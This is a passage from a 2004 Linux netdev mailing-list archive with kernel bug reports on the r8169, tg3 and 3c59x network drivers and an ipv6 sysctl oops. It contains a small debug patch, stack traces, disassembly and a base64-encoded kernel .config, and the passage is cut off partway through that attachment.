Jan 2004 14:23:07 +0100 From: Francois Romieu To: Mathias.Beilstein@t-online.de Cc: linux-kernel@vger.kernel.org, realtek@scyld.com, netdev@oss.sgi.com Subject: Re: Bug? 2.4.24 module/networking Kernel driver/net/r8169.c freeze Message-ID: <20040117142307.A14176@electric-eye.fr.zoreil.com> References: <1074217033.400740491d6ff@webmail.t-online.de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="NzB8fVQJ5HfG6fxh" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1074217033.400740491d6ff@webmail.t-online.de>; from Mathias.Beilstein@t-online.de on Fri, Jan 16, 2004 at 03:13:29AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 2569 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 1048 Lines: 38 --NzB8fVQJ5HfG6fxh Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Mathias.Beilstein@t-online.de : [...] > 1. short: smb over tcp delays > 5 sec; flood ping to machine --> machine > freeze Please apply attached patch and see 1) if Tx traffic stops 2) if something appears in dmesg. netdev@oss.sgi.com added to Cc:. -- Ueimor --NzB8fVQJ5HfG6fxh Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="r8169-debug.patch" --- r8169.c-realtek 2004-01-17 14:14:50.000000000 +0100 +++ r8169.c-debug 2004-01-17 14:17:25.000000000 +0100 @@ -1290,6 +1290,11 @@ static void rtl8169_tx_interrupt (struct dirty_tx = priv->dirty_tx; tx_left = priv->cur_tx - dirty_tx; + if (entry + tx_left > NUM_TX_DESC) { + printk(KERN_ERR, "r8169 bug. Please mail netdev@oss.sgi.com\n"); + return; + } + while (tx_left > 0) { if( (priv->TxDescArray[entry].status & OWNbit) == 0 ){ dev_kfree_skb_irq( priv->Tx_skbuff[dirty_tx % NUM_TX_DESC] ); --NzB8fVQJ5HfG6fxh-- From willy@w.ods.org Sat Jan 17 10:11:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 17 Jan 2004 10:11:51 -0800 (PST) Received: from willy.net1.nerim.net (willy.net1.nerim.net [62.212.114.60]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0HIBYmK005614 for ; Sat, 17 Jan 2004 10:11:36 -0800 Date: Sat, 17 Jan 2004 19:11:26 +0100 From: Willy Tarreau To: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Cc: davem@redhat.com, jgarzik@pobox.com Subject: [2.4][TG3] deadlock between rmmod, SIOCDEVPRIVATE, SIOCETHTOOL Message-ID: <20040117181126.GA669@alpha.home.local> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 2570 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: willy@w.ods.org Precedence: bulk X-list: netdev Content-Length: 7688 Lines: 222 Hi ! I have a problem with TG3 on any kernel from 2.4.21 to 2.4.25-pre6. I don't know for kernels before 2.4.21. Description: If an SIOCDEVPRIVATE ioctl is sent to a tg3 device while the module is being removed, both rmmod and the process doing the ioctl deadlock, with dev_probe_sem and rtnl_sem held. Note that I think that there's something related to the dev_probe_sem, because I cannot reproduce this problem when I play with SIOCETHTOOL only, and the difference is the following : - SIOCETHTOOL calls dev_load(), rtnl_lock() - SIOCDEVPRIVATE calls dev_load(), dev_probe_lock(), rtnl_lock() This problem happens to me everytime I restart the network drivers without stopping keepalived first. The only solution after this is to reboot, because the rmmod stays in D state forever. I captured a trace with SysRQ-T that I passed through ksymoops. I have analysed it a bit, and digged through the sources, but I reach a point where I don't understand any more thing, because my conclusion is that the deadlock happens between two concurrent calls to schedule(), with rtnl_sem and if dev_probe_sem held before, but not if only rtnl_sem is held. Thanks in advance for any help. Willy ========== keepalived trace. This one does SIOCDEVPRIVATE ============= Proc; keepalived >>EIP; c03b0c20 <===== Trace; c010751d =====> this is __down() in fact Trace; c0107668 <__down_failed+8/c> Trace; c029eba9 ====> this is rtnl_lock(). Trace; c0298fcc Trace; c02cb44a Trace; c0291815 Trace; c0141fe9 Trace; c01086a3 <__up_wakeup+101f/13e4> Note: rtnetlink_dump_ifinfo is at 0x660, which is 0x584 below 0xbe4, so the trace above clearly demonstrates that the call to rtnetlink_dump_ifinfo+589 is indeed rtnl_lock() called from dev_ioctl() : 00000000 : 0: b9 00 00 00 00 mov $0x0,%ecx 5: ff 0d 00 00 00 00 decl 0x0 b: 0f 88 d3 0b 00 00 js be4 <.text.lock.rtnetlink> 11: c3 ret 12: 89 f6 mov %esi,%esi 00000660 : 00000be4 <.text.lock.rtnetlink>: be4: e8 fc ff ff ff call be5 <.text.lock.rtnetlink+0x1> be9: e9 23 f4 ff ff jmp 11 rtnl_lock() downs rtnl_sem in net/core/rtnetlink.c : void rtnl_lock(void) { rtnl_shlock(); rtnl_exlock(); } In fact, the code at 00000be4 above calls __down_failed(), which in turn calls __down(). The address c010751d is within __down(), just after a call to schedule(), so schedule() never returns : c0107510: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx) c0107517: fb sti c0107518: e8 3f f2 00 00 call c011675c c010751d: c7 07 02 00 00 00 movl $0x2,(%edi) c0107523: fa cli c0107524: 8b 43 04 mov 0x4(%ebx),%eax All this is called from dev_ioctl() before 0xc0298fcc, which corresponds to this code : default: if (cmd == SIOCWANDEV || (cmd >= SIOCDEVPRIVATE && cmd <= SIOCDEVPRIVATE + 15)) { dev_load(ifr.ifr_name); dev_probe_lock(); c0298fc7: rtnl_lock(); c0298fcc: ret = dev_ifsioc(&ifr, cmd); rtnl_unlock(); dev_probe_unlock(); if (!ret && copy_to_user(arg, &ifr, sizeof(struct ifreq))) return -EFAULT; return ret; So clearly it waits for rtnl_lock(). Note that it has succesfully acquired dev_probe_sem via dev_probe_lock(). BTW, strace on the other keepalived process during rmmod shows that it blocks on SIOCETHTOOL (rtnl_lock() again) : ioctl(11, 0x8946, ?) (unfinished) (0x8946 is SIOCETHTOOL) ======= keepalived trace - SIOCETHTOOL ======== Proc; keepalived >>EIP; c03b0c20 <===== Trace; c010751d Trace; c0107668 <__down_failed+8/c> Trace; c029eba9 Trace; c0298dbb Trace; c02cb44a Trace; c0291815 Trace; c0141fe9 Trace; c010870f <__up_wakeup+108b/13e4> Proc; strace from net/core/dev.c::dev_ioctl() case SIOCETHTOOL: dev_load(ifr.ifr_name); c0298db6: rtnl_lock(); c0298dbb: ret = dev_ethtool(&ifr); rtnl_unlock(); if (!ret) { if (colon) *colon = ':'; if (copy_to_user(arg, &ifr, sizeof(struct ifreq))) ret = -EFAULT; } return ret; So now we know exactly where all keepalived processes block : - one of them waits for rtnl_lock() in SIOCETHTOOL, - the other one waits for rtnl_lock() in SIOCDEVPRIVATE Now, rmmod. =========== rmmod trace ============ Proc; rmmod >>EIP; df87df34 <_end+1f367740/2034f86c> <===== Trace; c011672b Trace; c0116670 Trace; c029941c Trace; c01d602c Trace; e0862d6b <_end+2034c577/2034f86c> Trace; e0864ac0 <_end+2034e2cc/2034f86c> Trace; c0274306 Trace; e08630c6 <_end+2034c8d2/2034f86c> Trace; e0864ac0 <_end+2034e2cc/2034f86c> Trace; c011af43 Trace; c011a2e7 Trace; c01086a3 <__up_wakeup+101f/13e4> 000020ec ; unregister_netdevice+190 = 0x0000227c 2257: 83 f8 64 cmp $0x64,%eax 225a: 76 10 jbe 226c 225c: 53 push %ebx 225d: 6a 06 push $0x6 225f: 68 20 00 00 00 push $0x20 2264: e8 fc ff ff ff call 2265 2269: 83 c4 0c add $0xc,%esp 226c: c7 07 01 00 00 00 movl $0x1,(%edi) 2272: b8 19 00 00 00 mov $0x19,%eax 2277: e8 fc ff ff ff call 2278 ==> 227c: c7 07 00 00 00 00 movl $0x0,(%edi) 2282: a1 00 00 00 00 mov 0x0,%eax 2287: 29 f0 sub %esi,%eax 2289: 3d e8 03 00 00 cmp $0x3e8,%eax 228e: 76 1b jbe 22ab The corresponding portion of code is in net/core/dev.c::unregister_netdevice(): 0x2257: if ((jiffies - now) > 1*HZ) { /* Rebroadcast unregister notification */ notifier_call_chain(&netdev_chain, NETDEV_UNREGISTER, dev); } 0x226c: current->state = TASK_INTERRUPTIBLE; 0x2272: schedule_timeout(HZ/4); 0x227c: current->state = TASK_RUNNING; if ((jiffies - warning_time) > 10*HZ) { printk(KERN_EMERG "unregister_netdevice: waiting for %s to " "become free. Usage count = %d\n", dev->name, atomic_read(&dev->refcnt)); warning_time = jiffies; } Which shows that schedule_timeout(HZ/4) did not return. 000000e8 ; schedule_timeout+73=0x15b 150: 53 push %ebx 151: e8 fc ff ff ff call 152 156: e8 fc ff ff ff call 157 ==> 15b: 53 push %ebx 15c: e8 fc ff ff ff call 15d Which corresponds to this code in kernel/sched.c::schedule_timeout() : add_timer(&timer); schedule(); ==> del_timer_sync(&timer); So schedule() does not return here too. And now I have no idea where to look anymore. I don't see what can block in schedule() when both rtnl_sem and dev_probe_sem are held... -- From jamagallon@able.es Sat Jan 17 16:12:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 17 Jan 2004 16:12:41 -0800 (PST) Received: from smtp09.retemail.es (smtp09.auna.com [62.81.186.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0I0COmK017067 for ; Sat, 17 Jan 2004 16:12:27 -0800 Received: from werewolf.able.es ([212.97.170.101]) by smtp09.retemail.es (InterMail vM.5.01.05.32 201-253-122-126-132-20030307) with ESMTP id <20040118001218.KTZY14100.smtp09.retemail.es@werewolf.able.es>; Sun, 18 Jan 2004 01:12:18 +0100 Date: Sun, 18 Jan 2004 01:12:17 +0100 From: "J.A. Magallon" To: Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: 2.6.1-mm4 Message-ID: <20040118001217.GE3125@werewolf.able.es> References: <20040115225948.6b994a48.akpm@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20040115225948.6b994a48.akpm@osdl.org> (from akpm@osdl.org on Fri, Jan 16, 2004 at 07:59:48 +0100) X-Mailer: Balsa 2.0.15 X-archive-position: 2572 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jamagallon@able.es Precedence: bulk X-list: netdev Content-Length: 1228 Lines: 35 On 01.16, Andrew Morton wrote: > > ftp://ftp.kernel.org/pub/linux/kernel/people/akpm/patches/2.6/2.6.1/2.6.1-mm4/ > > Net driver problem: werewolf:/etc# modprobe --verbose 3c59x insmod /lib/modules/2.6.1-jam4/kernel/drivers/net/3c59x.ko FATAL: Error inserting 3c59x (/lib/modules/2.6.1-jam4/kernel/drivers/net/3c59x.ko): Invalid argument /var/messages: Jan 18 01:03:00 werewolf kernel: 3c59x: falsely claims to have parameter rx_copybreak Hardware: 00:12.0 Ethernet controller: 3Com Corporation 3c980-TX 10/100baseTX NIC [Python-T] (rev 78) Subsystem: 3Com Corporation: Unknown device 1000 Flags: bus master, medium devsel, latency 32, IRQ 5 I/O ports at ec00 [size=128] Memory at febfef80 (32-bit, non-prefetchable) [size=128] Expansion ROM at feba0000 [disabled] [size=128K] Capabilities: [dc] Power Management version 2 (if you answer from netdev, plz CC: me, I'm not subscribed. thanks) TIA -- J.A. Magallon \ Software is like sex: werewolf!able!es \ It's better when it's free Mandrake Linux release 10.0 (Cooker) for i586 Linux 2.6.1-jam4 (gcc 3.3.2 (Mandrake Linux 10.0 3.3.2-4mdk)) From akpm@osdl.org Sat Jan 17 17:31:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 17 Jan 2004 17:31:44 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0I1VemK022377 for ; Sat, 17 Jan 2004 17:31:40 -0800 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0I1VXo15122; Sat, 17 Jan 2004 17:31:33 -0800 Date: Sat, 17 Jan 2004 17:32:02 -0800 From: Andrew Morton To: netdev@oss.sgi.com, thomas.schlichter@web.de Subject: Re: Fw: Oops in register_proc_table (2.6.1-mm4) Message-Id: <20040117173202.76119237.akpm@osdl.org> In-Reply-To: <20040116104709.2163912c.akpm@osdl.org> References: <20040116104709.2163912c.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Multipart_Sat__17_Jan_2004_17:32:02_-0800_0824d6b0" X-archive-position: 2573 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 40169 Lines: 547 This is a multi-part message in MIME format. --Multipart_Sat__17_Jan_2004_17:32:02_-0800_0824d6b0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit OK, I can reproduce this oops now. 0xc0126f7d in register_proc_table (table=0xc04cc80c, root=0xcff92600) at string.h:182 182 __asm__ __volatile__( (gdb) bt #0 0xc0126f7d in register_proc_table (table=0xc04cc80c, root=0xcff92600) at string.h:182 #1 0xc0126fcb in register_proc_table (table=0xc04cd540, root=0xcff92680) at sysctl.c:1187 #2 0xc0126fcb in register_proc_table (table=0xc04cf624, root=0xcff95680) at sysctl.c:1187 #3 0xc0126fcb in register_proc_table (table=0xc0451958, root=0xcffa0380) at sysctl.c:1187 #4 0xc051f727 in sysctl_init () at sysctl.c:854 #5 0xc0105169 in init (unused=0x0) at init/main.c:557 (gdb) f 3 #3 0xc0126fcb in register_proc_table (table=0xc0451958, root=0xcffa0380) at sysctl.c:1187 1187 register_proc_table(table->child, de); (gdb) p *table $1 = {ctl_name = 3, procname = 0xc043394e "net", data = 0x0, maxlen = 0, mode = 365, child = 0xc04cf5a0, proc_handler = 0, strategy = 0, de = 0xcff95680, extra1 = 0x0, extra2 = 0x0} (gdb) f 2 #2 0xc0126fcb in register_proc_table (table=0xc04cf624, root=0xcff95680) at sysctl.c:1187 1187 register_proc_table(table->child, de); (gdb) p *table $2 = {ctl_name = 12, procname = 0xc0431b88 "ipv6", data = 0x0, maxlen = 0, mode = 365, child = 0xc04cd540, proc_handler = 0, strategy = 0, de = 0xcff92680, extra1 = 0x0, extra2 = 0x0} (gdb) f 1 #1 0xc0126fcb in register_proc_table (table=0xc04cd540, root=0xcff92680) at sysctl.c:1187 1187 register_proc_table(table->child, de); (gdb) p *table $3 = {ctl_name = 18, procname = 0xc0431402 "route", data = 0x0, maxlen = 0, mode = 365, child = 0xc04cc680, proc_handler = 0, strategy = 0, de = 0xcff92600, extra1 = 0x0, extra2 = 0x0} (gdb) f 0 #0 0xc0126f7d in register_proc_table (table=0xc04cc80c, root=0xcff92600) at string.h:182 182 __asm__ __volatile__( (gdb) p *table $4 = {ctl_name = 1220, procname = 0x927c0

, data = 0x9, maxlen = 60000, mode = 500, child = 0x1000, proc_handler = 0, strategy = 0, de = 0x0, extra1 = 0x0, extra2 = 0x0} It seems that ipv6 is registering something under /proc/net/ipv6/route which has a bad ctl_table.procname. I don't know what it is - the ipv6 sysctl code overpowered my attention span. The .config is attached - 2.6.1-mm4 should demonstrate the problem. Can one of the ip6 guys please look at this? --Multipart_Sat__17_Jan_2004_17:32:02_-0800_0824d6b0 Content-Type: application/octet-stream; name=".config" Content-Disposition: attachment; filename=".config" Content-Transfer-Encoding: base64 IwojIEF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIG1ha2UgY29uZmlnOiBkb24ndCBlZGl0CiMKQ09O RklHX1g4Nj15CkNPTkZJR19NTVU9eQpDT05GSUdfVUlEMTY9eQpDT05GSUdfR0VORVJJQ19JU0Ff RE1BPXkKCiMKIyBDb2RlIG1hdHVyaXR5IGxldmVsIG9wdGlvbnMKIwpDT05GSUdfRVhQRVJJTUVO VEFMPXkKQ09ORklHX0NMRUFOX0NPTVBJTEU9eQpDT05GSUdfU1RBTkRBTE9ORT15CgojCiMgR2Vu ZXJhbCBzZXR1cAojCkNPTkZJR19TV0FQPXkKQ09ORklHX1NZU1ZJUEM9eQpDT05GSUdfQlNEX1BS T0NFU1NfQUNDVD15CkNPTkZJR19TWVNDVEw9eQpDT05GSUdfTE9HX0JVRl9TSElGVD0xMgpDT05G SUdfSUtDT05GSUc9eQpDT05GSUdfSUtDT05GSUdfUFJPQz15CiMgQ09ORklHX0VNQkVEREVEIGlz IG5vdCBzZXQKQ09ORklHX0tBTExTWU1TPXkKQ09ORklHX0ZVVEVYPXkKQ09ORklHX0VQT0xMPXkK Q09ORklHX0lPU0NIRURfTk9PUD15CkNPTkZJR19JT1NDSEVEX0FTPXkKQ09ORklHX0lPU0NIRURf REVBRExJTkU9eQpDT05GSUdfSU9TQ0hFRF9DRlE9eQojIENPTkZJR19DQ19PUFRJTUlaRV9GT1Jf U0laRSBpcyBub3Qgc2V0CgojCiMgTG9hZGFibGUgbW9kdWxlIHN1cHBvcnQKIwpDT05GSUdfTU9E VUxFUz15CkNPTkZJR19NT0RVTEVfVU5MT0FEPXkKIyBDT05GSUdfTU9EVUxFX0ZPUkNFX1VOTE9B RCBpcyBub3Qgc2V0CkNPTkZJR19PQlNPTEVURV9NT0RQQVJNPXkKQ09ORklHX01PRFZFUlNJT05T PXkKQ09ORklHX0tNT0Q9eQoKIwojIFByb2Nlc3NvciB0eXBlIGFuZCBmZWF0dXJlcwojCkNPTkZJ R19YODZfUEM9eQojIENPTkZJR19YODZfRUxBTiBpcyBub3Qgc2V0CiMgQ09ORklHX1g4Nl9WT1lB R0VSIGlzIG5vdCBzZXQKIyBDT05GSUdfWDg2X05VTUFRIGlzIG5vdCBzZXQKIyBDT05GSUdfWDg2 X1NVTU1JVCBpcyBub3Qgc2V0CiMgQ09ORklHX1g4Nl9CSUdTTVAgaXMgbm90IHNldAojIENPTkZJ R19YODZfVklTV1MgaXMgbm90IHNldAojIENPTkZJR19YODZfR0VORVJJQ0FSQ0ggaXMgbm90IHNl dAojIENPTkZJR19YODZfRVM3MDAwIGlzIG5vdCBzZXQKCiMKIyBQcm9jZXNzb3Igc3VwcG9ydAoj CgojCiMgU2VsZWN0IGFsbCBwcm9jZXNzb3JzIHlvdXIga2VybmVsIHNob3VsZCBzdXBwb3J0CiMK Q09ORklHX0NQVV8zODY9eQpDT05GSUdfQ1BVXzQ4Nj15CkNPTkZJR19DUFVfNTg2PXkKQ09ORklH X0NQVV81ODZUU0M9eQpDT05GSUdfQ1BVXzU4Nk1NWD15CkNPTkZJR19DUFVfNjg2PXkKQ09ORklH X0NQVV9QRU5USVVNSUk9eQpDT05GSUdfQ1BVX1BFTlRJVU1JSUk9eQpDT05GSUdfQ1BVX1BFTlRJ VU1NPXkKQ09ORklHX0NQVV9QRU5USVVNND15CkNPTkZJR19DUFVfSzY9eQpDT05GSUdfQ1BVX0s3 PXkKQ09ORklHX0NQVV9LOD15CkNPTkZJR19DUFVfQ1JVU09FPXkKQ09ORklHX0NQVV9XSU5DSElQ QzY9eQpDT05GSUdfQ1BVX1dJTkNISVAyPXkKQ09ORklHX0NQVV9XSU5DSElQM0Q9eQpDT05GSUdf Q1BVX0NZUklYSUlJPXkKQ09ORklHX0NQVV9WSUFDM18yPXkKQ09ORklHX0NQVV9JTlRFTD15CkNP TkZJR19DUFVfV0lOQ0hJUD15CkNPTkZJR19YODZfTDFfQ0FDSEVfU0hJRlQ9NwpDT05GSUdfUldT RU1fR0VORVJJQ19TUElOTE9DSz15CkNPTkZJR19YODZfUFBST19GRU5DRT15CkNPTkZJR19YODZf RjAwRl9CVUc9eQpDT05GSUdfWDg2X0FMSUdOTUVOVF8xNj15CkNPTkZJR19YODZfQkFEX0FQSUM9 eQpDT05GSUdfWDg2X0lOVEVMX1VTRVJDT1BZPXkKIyBDT05GSUdfSFBFVF9USU1FUiBpcyBub3Qg c2V0CiMgQ09ORklHX0hQRVRfRU1VTEFURV9SVEMgaXMgbm90IHNldApDT05GSUdfU01QPXkKQ09O RklHX05SX0NQVVM9MgojIENPTkZJR19TQ0hFRF9TTVQgaXMgbm90IHNldAojIENPTkZJR19QUkVF TVBUIGlzIG5vdCBzZXQKQ09ORklHX1g4Nl9MT0NBTF9BUElDPXkKQ09ORklHX1g4Nl9JT19BUElD PXkKQ09ORklHX1g4Nl9NQ0U9eQpDT05GSUdfWDg2X01DRV9OT05GQVRBTD15CiMgQ09ORklHX1g4 Nl9NQ0VfUDRUSEVSTUFMIGlzIG5vdCBzZXQKIyBDT05GSUdfVE9TSElCQSBpcyBub3Qgc2V0CiMg Q09ORklHX0k4SyBpcyBub3Qgc2V0CiMgQ09ORklHX01JQ1JPQ09ERSBpcyBub3Qgc2V0CkNPTkZJ R19YODZfTVNSPXkKQ09ORklHX1g4Nl9DUFVJRD15CiMgQ09ORklHX0VERCBpcyBub3Qgc2V0CkNP TkZJR19OT0hJR0hNRU09eQojIENPTkZJR19ISUdITUVNNEcgaXMgbm90IHNldAojIENPTkZJR19I SUdITUVNNjRHIGlzIG5vdCBzZXQKIyBDT05GSUdfTUFUSF9FTVVMQVRJT04gaXMgbm90IHNldAoj IENPTkZJR19NVFJSIGlzIG5vdCBzZXQKIyBDT05GSUdfRUZJIGlzIG5vdCBzZXQKIyBDT05GSUdf UkVHUEFSTSBpcyBub3Qgc2V0CgojCiMgUG93ZXIgbWFuYWdlbWVudCBvcHRpb25zIChBQ1BJLCBB UE0pCiMKQ09ORklHX1BNPXkKQ09ORklHX1NPRlRXQVJFX1NVU1BFTkQ9eQojIENPTkZJR19QTV9E SVNLIGlzIG5vdCBzZXQKCiMKIyBBQ1BJIChBZHZhbmNlZCBDb25maWd1cmF0aW9uIGFuZCBQb3dl ciBJbnRlcmZhY2UpIFN1cHBvcnQKIwpDT05GSUdfQUNQST15CkNPTkZJR19BQ1BJX0JPT1Q9eQpD T05GSUdfQUNQSV9JTlRFUlBSRVRFUj15CkNPTkZJR19BQ1BJX1NMRUVQPXkKQ09ORklHX0FDUElf U0xFRVBfUFJPQ19GUz15CkNPTkZJR19BQ1BJX0FDPXkKQ09ORklHX0FDUElfQkFUVEVSWT15CkNP TkZJR19BQ1BJX0JVVFRPTj15CkNPTkZJR19BQ1BJX0ZBTj15CkNPTkZJR19BQ1BJX1BST0NFU1NP Uj15CkNPTkZJR19BQ1BJX1RIRVJNQUw9eQpDT05GSUdfQUNQSV9BU1VTPXkKQ09ORklHX0FDUElf VE9TSElCQT15CiMgQ09ORklHX0FDUElfREVCVUcgaXMgbm90IHNldApDT05GSUdfQUNQSV9CVVM9 eQpDT05GSUdfQUNQSV9FQz15CkNPTkZJR19BQ1BJX1BPV0VSPXkKQ09ORklHX0FDUElfUENJPXkK Q09ORklHX0FDUElfU1lTVEVNPXkKIyBDT05GSUdfQUNQSV9SRUxBWEVEX0FNTCBpcyBub3Qgc2V0 CiMgQ09ORklHX1g4Nl9QTV9USU1FUiBpcyBub3Qgc2V0CgojCiMgQVBNIChBZHZhbmNlZCBQb3dl ciBNYW5hZ2VtZW50KSBCSU9TIFN1cHBvcnQKIwojIENPTkZJR19BUE0gaXMgbm90IHNldAoKIwoj IENQVSBGcmVxdWVuY3kgc2NhbGluZwojCiMgQ09ORklHX0NQVV9GUkVRIGlzIG5vdCBzZXQKCiMK IyBCdXMgb3B0aW9ucyAoUENJLCBQQ01DSUEsIEVJU0EsIE1DQSwgSVNBKQojCkNPTkZJR19QQ0k9 eQojIENPTkZJR19QQ0lfR09CSU9TIGlzIG5vdCBzZXQKIyBDT05GSUdfUENJX0dPRElSRUNUIGlz IG5vdCBzZXQKQ09ORklHX1BDSV9HT0FOWT15CkNPTkZJR19QQ0lfQklPUz15CkNPTkZJR19QQ0lf RElSRUNUPXkKIyBDT05GSUdfUENJX1VTRV9WRUNUT1IgaXMgbm90IHNldAojIENPTkZJR19QQ0lf TEVHQUNZX1BST0MgaXMgbm90IHNldApDT05GSUdfUENJX05BTUVTPXkKQ09ORklHX0lTQT15CiMg Q09ORklHX0VJU0EgaXMgbm90IHNldAojIENPTkZJR19NQ0EgaXMgbm90IHNldAojIENPTkZJR19T Q3gyMDAgaXMgbm90IHNldApDT05GSUdfSE9UUExVRz15CgojCiMgUENNQ0lBL0NhcmRCdXMgc3Vw cG9ydAojCiMgQ09ORklHX1BDTUNJQSBpcyBub3Qgc2V0CkNPTkZJR19QQ01DSUFfUFJPQkU9eQoK IwojIFBDSSBIb3RwbHVnIFN1cHBvcnQKIwpDT05GSUdfSE9UUExVR19QQ0k9eQojIENPTkZJR19I T1RQTFVHX1BDSV9GQUtFIGlzIG5vdCBzZXQKIyBDT05GSUdfSE9UUExVR19QQ0lfQ09NUEFRIGlz IG5vdCBzZXQKIyBDT05GSUdfSE9UUExVR19QQ0lfSUJNIGlzIG5vdCBzZXQKIyBDT05GSUdfSE9U UExVR19QQ0lfQUNQSSBpcyBub3Qgc2V0CiMgQ09ORklHX0hPVFBMVUdfUENJX0NQQ0kgaXMgbm90 IHNldAoKIwojIEV4ZWN1dGFibGUgZmlsZSBmb3JtYXRzCiMKQ09ORklHX0JJTkZNVF9FTEY9eQoj IENPTkZJR19CSU5GTVRfQU9VVCBpcyBub3Qgc2V0CkNPTkZJR19CSU5GTVRfTUlTQz15CgojCiMg RGV2aWNlIERyaXZlcnMKIwoKIwojIEdlbmVyaWMgRHJpdmVyIE9wdGlvbnMKIwojIENPTkZJR19G V19MT0FERVIgaXMgbm90IHNldAoKIwojIE1lbW9yeSBUZWNobm9sb2d5IERldmljZXMgKE1URCkK IwojIENPTkZJR19NVEQgaXMgbm90IHNldAoKIwojIFBhcmFsbGVsIHBvcnQgc3VwcG9ydAojCkNP TkZJR19QQVJQT1JUPW0KQ09ORklHX1BBUlBPUlRfUEM9bQpDT05GSUdfUEFSUE9SVF9QQ19DTUwx PW0KQ09ORklHX1BBUlBPUlRfU0VSSUFMPW0KQ09ORklHX1BBUlBPUlRfUENfRklGTz15CkNPTkZJ R19QQVJQT1JUX1BDX1NVUEVSSU89eQpDT05GSUdfUEFSUE9SVF9PVEhFUj15CkNPTkZJR19QQVJQ T1JUXzEyODQ9eQoKIwojIFBsdWcgYW5kIFBsYXkgc3VwcG9ydAojCkNPTkZJR19QTlA9eQpDT05G SUdfUE5QX0RFQlVHPXkKCiMKIyBQcm90b2NvbHMKIwpDT05GSUdfSVNBUE5QPXkKQ09ORklHX1BO UEJJT1M9eQojIENPTkZJR19QTlBCSU9TX1BST0NfRlMgaXMgbm90IHNldAoKIwojIEJsb2NrIGRl dmljZXMKIwpDT05GSUdfQkxLX0RFVl9GRD1tCiMgQ09ORklHX0JMS19ERVZfWEQgaXMgbm90IHNl dAojIENPTkZJR19QQVJJREUgaXMgbm90IHNldAojIENPTkZJR19CTEtfQ1BRX0RBIGlzIG5vdCBz ZXQKQ09ORklHX0JMS19DUFFfQ0lTU19EQT15CiMgQ09ORklHX0NJU1NfU0NTSV9UQVBFIGlzIG5v dCBzZXQKIyBDT05GSUdfQkxLX0RFVl9EQUM5NjAgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVW X1VNRU0gaXMgbm90IHNldApDT05GSUdfQkxLX0RFVl9MT09QPXkKQ09ORklHX0JMS19ERVZfQ1JZ UFRPTE9PUD15CkNPTkZJR19CTEtfREVWX05CRD1tCkNPTkZJR19CTEtfREVWX1JBTT15CkNPTkZJ R19CTEtfREVWX1JBTV9TSVpFPTQwOTYKQ09ORklHX0JMS19ERVZfSU5JVFJEPXkKQ09ORklHX0xC RD15CgojCiMgQVRBL0FUQVBJL01GTS9STEwgc3VwcG9ydAojCkNPTkZJR19JREU9eQpDT05GSUdf QkxLX0RFVl9JREU9eQoKIwojIFBsZWFzZSBzZWUgRG9jdW1lbnRhdGlvbi9pZGUudHh0IGZvciBo ZWxwL2luZm8gb24gSURFIGRyaXZlcwojCiMgQ09ORklHX0JMS19ERVZfSERfSURFIGlzIG5vdCBz ZXQKQ09ORklHX0JMS19ERVZfSURFRElTSz15CkNPTkZJR19JREVESVNLX01VTFRJX01PREU9eQoj IENPTkZJR19JREVESVNLX1NUUk9LRSBpcyBub3Qgc2V0CkNPTkZJR19CTEtfREVWX0lERUNEPXkK Q09ORklHX0JMS19ERVZfSURFVEFQRT15CkNPTkZJR19CTEtfREVWX0lERUZMT1BQWT15CiMgQ09O RklHX0JMS19ERVZfSURFU0NTSSBpcyBub3Qgc2V0CkNPTkZJR19JREVfVEFTS19JT0NUTD15CkNP TkZJR19JREVfVEFTS0ZJTEVfSU89eQoKIwojIElERSBjaGlwc2V0IHN1cHBvcnQvYnVnZml4ZXMK IwojIENPTkZJR19CTEtfREVWX0NNRDY0MCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfSURF UE5QIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfSURFUENJPXkKQ09ORklHX0lERVBDSV9TSEFS RV9JUlE9eQojIENPTkZJR19CTEtfREVWX09GRkJPQVJEIGlzIG5vdCBzZXQKQ09ORklHX0JMS19E RVZfR0VORVJJQz15CiMgQ09ORklHX0JMS19ERVZfT1BUSTYyMSBpcyBub3Qgc2V0CiMgQ09ORklH X0JMS19ERVZfUloxMDAwIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfSURFRE1BX1BDST15CiMg 